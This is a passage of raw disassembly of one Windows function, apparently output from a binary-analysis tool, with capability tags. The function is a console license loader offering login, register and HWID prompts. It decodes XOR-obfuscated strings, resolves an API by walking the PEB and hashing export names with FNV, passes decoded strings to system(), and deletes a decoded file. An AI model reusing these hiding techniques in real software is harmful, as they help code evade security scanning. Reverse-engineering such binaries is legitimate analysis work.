Function at 0x14004e380
Capabilities:
Access peb ldr_data
Create thread
Delete file
Encode data using xor
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1620]
mov eax, 0x1720
call fcn.1400a2860
sub rsp, rax
movaps xmmword [rsp + 0x1710], xmm6
movaps xmmword [rsp + 0x1700], xmm7
movaps xmmword [rsp + 0x16f0], xmm8
xor r13d, r13d
movdqa xmm0, xmmword [0x1400ad0f0]
movdqu xmmword [rbp + 0x1a6], xmm0
mov dword [rbp + 0x1b6], 0xccc5e588
mov dword [rbp + 0x1ba], 0x100c3c5
mov ecx, r13d
nop dword [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x1a6], al
inc rcx
cmp rcx, 0x16
jb 0x14004e3f0
mov byte [rbp + 0x1bd], r13b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004e496
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004e496
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004e491
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004e470
cmp r8d, 0x9a9264ad
je 0x14004e49b
test r9d, r9d
jne 0x14004e450
mov rax, qword [rax]
jmp 0x14004e420
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1a6]
call rdx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x1670], 0x1009392
mov rdx, r13
nop
lea eax, [rdx - 0x68]
xor byte [rbp + rdx + 0x1670], al
inc rdx
cmp rdx, 2
jb 0x14004e4d0
mov byte [rbp + 0x1673], r13b
lea rdx, [rbp + 0x1670]
call fcn.140046650
lea rcx, [0x1400ccc90]
call fcn.1400044e0
cmp byte [0x1400ccec8], r13b
jne 0x14004e52b
lea rcx, str.Error_0x0000x45
call fcn.140054c80
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 4
mov rcx, qword [0x1400ccc60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 4
mov rcx, qword [0x1400ccc60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._e_34m_____e_0mConnecting...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400ccc90]
call fcn.1400044e0
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, Ordinal_32
lea r14d, [rsi - 0x1a]
mov r12d, dword [reloc.WS2_32.dll_accept]
nop dword [rax]
nop word [rax + rax]
movdqa xmm0, xmmword [0x1400ad0f0]
movdqu xmmword [rbp + 0x176], xmm0
mov dword [rbp + 0x186], 0xccc5e588
mov dword [rbp + 0x18a], 0x100c3c5
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x176], al
inc rcx
cmp rcx, 0x16
jb 0x14004e5e0
mov byte [rbp + 0x18d], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004e686
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004e686
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14004e681
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14004e660
cmp r8d, 0x9a9264ad
je 0x14004e68b
test r9d, r9d
jne 0x14004e640
mov rax, qword [rax]
jmp 0x14004e610
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x176]
call rdx
movups xmm0, xmmword [0x1400ab590]
movups xmmword [rbp + 0x1165], xmm0
movups xmm1, xmmword [0x1400ab5a0]
movups xmmword [rbp + 0x1175], xmm1
movups xmm0, xmmword [0x1400ab5b0]
movups xmmword [rbp + 0x1185], xmm0
movups xmm1, xmmword [0x1400ab5c0]
movups xmmword [rbp + 0x1195], xmm1
movups xmm0, xmmword [0x1400ab5d0]
movups xmmword [rbp + 0x11a5], xmm0
movups xmm1, xmmword [0x1400ab5e0]
movups xmmword [rbp + 0x11b5], xmm1
movups xmm0, xmmword [0x1400ab5f0]
movups xmmword [rbp + 0x11c5], xmm0
movups xmm1, xmmword [0x1400ab600]
movups xmmword [rbp + 0x11d5], xmm1
movups xmm0, xmmword [0x1400ab610]
movups xmmword [rbp + 0x11e5], xmm0
movzx eax, byte [0x1400ab620]
mov byte [rbp + 0x11f5], al
mov r8d, r13d
cmp r12d, 2
jl 0x14004e891
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x1169]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14004e780
cmp r8d, 0x91
jge 0x14004e8d6
movsxd rax, r8d
lea r9, [rbp + 0x1165]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x14004e8a0
lea rcx, [rbp + 0x1165]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.s_vnd__RXOJfxN_T]
movups xmmword [rbp + 0x3cd], xmm0
movsd xmm0, qword [0x1400ab638]
movsd qword [rbp + 0x3dd], xmm0
mov eax, dword [0x1400ab640]
mov dword [rbp + 0x3e5], eax
movzx eax, word [0x1400ab644]
mov word [rbp + 0x3e9], ax
cmp byte [0x1400ab645], 0
je 0x14004eac3
mov r8d, r13d
cmp r12d, 2
jl 0x14004ea7b
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x3d1]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004e970
cmp r8d, 0x1e
jge 0x14004eac3
movsxd rax, r8d
lea r9, [rbp + 0x3cd]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14004ea90
lea rcx, [rbp + 0x3cd]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400ab668]
mov dword [rbp + 0x308], eax
movzx eax, word [0x1400ab66c]
mov word [rbp + 0x30c], ax
movzx eax, byte [0x1400ab66e]
movups xmm1, xmmword [0x1400ab658]
movups xmm0, xmmword [0x1400ab648]
mov byte [rbp + 0x30e], al
movups xmmword [rbp + 0x2f8], xmm1
movups xmmword [rbp + 0x2e8], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x14004ec6b
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x2ec]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14004eb60
cmp r8d, 0x27
jge 0x14004ecb3
movsxd rax, r8d
lea r9, [rbp + 0x2e8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14004ec80
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._n_________________________________________________________________________________________________________n_________________________________________________________________________________________________n__________________________________________________________________________________________________n_______________________________________________________________________________________n_______________________________________________________________________________________n____________________________________________________________________________________________n____________________________________________________________________________________________n_____________________________________________________________________________________________n______________________________________________________________________________________________n__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m__e_37m1e_35m_e_37m_e_1mLogin:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m_e_37m2e_35m_e_37m_e_1mRegister:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m_e_37m3e_35m_e_37m_e_1mUpdgrade_Sub:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
movdqa xmm0, xmmword [0x1400ad090]
movdqu xmmword [rbp + 0xb8], xmm0
mov dword [rbp + 0xc8], 0xc4c3ddd8
mov dword [rbp + 0xcc], 0x8e97c2
mov byte [rbp + 0xd0], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0xb8], al
inc rcx
cmp rcx, 0x17
jb 0x14004ed60
mov byte [rbp + 0xd0], 0
lea rcx, [rbp + 0xb8]
call fcn.140054c80
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], 0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
lea rdx, [rbp + 0x1678]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x1678]
sub ecx, 1
je 0x14004f2bd
sub ecx, 1
je 0x14004f194
sub ecx, 1
je 0x14004f0d2
cmp ecx, 0xfdea7
je 0x14004ef0b
lea rdx, str._e_34m___e_0mStatus:_Failure:_Invalid_Selection
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14004ee60
inc rdx
mov rcx, qword [rbp - 0x20]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14004ee5b
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054b9a
call fcn.1400a24cc
mov byte [rbp - 0x20], 0
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], r13
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14004eeab
inc rdx
mov rcx, qword [rbp]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14004eea6
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054be8
call fcn.1400a24cc
mov byte [rbp], 0
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x10], r13
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14004eef6
inc rdx
mov rcx, qword [rbp + 0x20]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14004eef1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054c36
call fcn.1400a24cc
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
jmp 0x14004e5b0
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r13
mov qword [rbp + 0x260], reloc.WS2_32.dll_ntohs
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x248]
call fcn.14000a6b0
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x258], reloc.WS2_32.dll_sendto
mov qword [rbp + 0x260], rsi
movups xmm0, xmmword [str.Owner___FZSoftware_n_n]
movups xmmword [rax], xmm0
mov edx, dword [0x1400ac4b0]
mov dword [rax + 0x10], edx
mov byte [rax + 0x14], 0
mov dword [rbp + 0x268], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rbp + 0x248]
mov rcx, rbx
call fcn.1400488b0
nop
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14004efd7
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004efd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054b43
call fcn.1400a24cc
mov qword [rbp + 0x258], r13
mov qword [rbp + 0x260], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x248], 0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], r13
mov qword [rbp + 0x2d8], reloc.WS2_32.dll_ntohs
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x2c0]
call fcn.14000a6b0
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2d0], reloc.WS2_32.dll_sendto
mov qword [rbp + 0x2d8], rsi
movups xmm0, xmmword [str.Developer___ZNFVoid_n]
movups xmmword [rax], xmm0
mov edx, dword [0x1400ac4c8]
mov dword [rax + 0x10], edx
mov byte [rax + 0x14], 0
mov dword [rbp + 0x2e0], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rbp + 0x2c0]
mov rcx, rbx
call fcn.1400488b0
nop
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0x10
jb 0x14004f0af
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f0aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054b43
call fcn.1400a24cc
mov qword [rbp + 0x2d0], r13
mov qword [rbp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c0], 0
mov ecx, Ordinal_301
jmp 0x14004ee1e
lea rcx, [0x1400ba0cb]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400abf98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._e_34m___e_0mEnter_Username:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046190
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._e_34m___e_0mEnter_Hwid_License:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp - 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046190
lea rax, [rbp + 0x12b8]
mov qword [rbp + 0x408], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x12b8]
call fcn.140009a60
mov rbx, rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x12f8]
call fcn.140009a60
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400ccc90]
call fcn.140007830
jmp 0x14004f398
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_0D
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400abf98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._e_34m___e_0mEnter_Username:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046190
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._e_34m___e_0mEnter_Password:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046190
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._e_34m___e_0mEnter_Hwid_License:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp - 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046190
lea rax, [rbp + 0x1318]
mov qword [rbp + 0x1e8], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x1318]
call fcn.140009a60
mov rdi, rax
lea rax, [rbp + 0x1298]
mov qword [rbp + 0x408], rax
lea rdx, [rbp]
lea rcx, [rbp + 0x1298]
call fcn.140009a60
mov rbx, rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x1278]
call fcn.140009a60
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400ccc90]
call fcn.1400067c0
jmp 0x14004f398
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_0D
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400abf98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._e_34m___e_0mEnter_Username:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046190
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._e_34m___e_0mEnter_Password:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140046190
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rax, [rbp + 0x11f8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp]
lea rcx, [rbp + 0x11f8]
call fcn.140009a60
mov rbx, rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x1238]
call fcn.140009a60
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400ccc90]
call fcn.1400058c0
cmp byte [0x1400ccec8], 0
jne 0x14004f3e4
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_Status:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov rcx, rax
lea rdx, [0x1400cced0]
call fcn.1400463f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x70], 0xe9f5fb
mov byte [rsp + 0x74], 1
mov rcx, r13
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 3
jb 0x14004f400
mov byte [rsp + 0x74], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x5f], 0x1009392
lea rdx, [rbp - 0x5f]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400468b0
call fcn.14004cea0
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
nop word [rax + rax]
movdqa xmm0, xmmword [0x1400ad0f0]
